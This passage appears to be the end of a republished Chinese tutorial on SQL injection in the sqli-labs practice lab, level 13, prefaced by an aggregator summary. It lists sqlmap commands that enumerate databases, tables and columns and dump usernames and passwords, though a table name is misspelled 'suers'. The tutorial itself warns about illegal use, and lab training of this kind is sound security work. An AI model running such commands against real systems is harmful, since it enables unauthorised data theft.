文章总结: 本文提倡SQL注入学习先手工分析注入点与类型,再用sqlmap验证。通过sqli-labs第13关实战,演示了布尔盲注与报错注入的识别,及使用sqlmap指定技术参数进行自动化利用的方法。文章强调工具用于验证结论而非替代思考,并特别提示了非法脱库的法律风险。 综合评分: 87 文章分类: WEB安全,渗透测试,安全工具,实战经验




技术能力≠使用边界,学习环境≠真实目标
python sqlmap.py -r "C:\Users\demon\Desktop\security\req.txt" --technique=E --current-db --tables --columns --threads=10
通过上面的命令,我们可以获取到当前数据库,及表格和数据列
我们可以单独指定查看我们需要的数据,如查看所有数据库–dbs
python sqlmap.py -r "C:\Users\demon\Desktop\security\req.txt" -p uname --dbs --batch
查看指定数据库表-D –tables
python sqlmap.py -r "C:\Users\demon\Desktop\security\req.txt" -p uname -D security --tables --batch
可以获取security中有哪些表。
获取指定表users的字段
python sqlmap.py -r "C:\Users\demon\Desktop\security\req.txt" -p uname -D security -T suers --columns --batch
获取指定数据库security指定表users指定字段数据
python sqlmap.py -r "C:\Users\demon\Desktop\security\req.txt" -p uname -D security -T suers -C id,username,password --dump --batch
六、简要总结
在这一阶段,即使注入存在,页面也往往不再直接回显数据,单纯依赖 UNION 或错误显示已经不足以完成判断。相比“如何脱库”,更重要的是先确认:
- 是否存在注入点
- 注入属于哪一类型(Boolean / Error / Time)
- 是否具备继续利用的价值
因此,本文采用的思路是:先通过手工方式判断注入点与注入类型,再使用 sqlmap 验证判断结果,并完成后续利用。
sqlmap 的作用并不是代替分析,而是在判断成立后,用来验证结论并完成自动化攻击。
这一方法同样适用于后续第 14~16 关,也更接近真实环境中的 SQL 注入分析流程。
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本文转载自:武文学网安 武文学网安《从手工注入到自动化攻击——sqlmap 实战》
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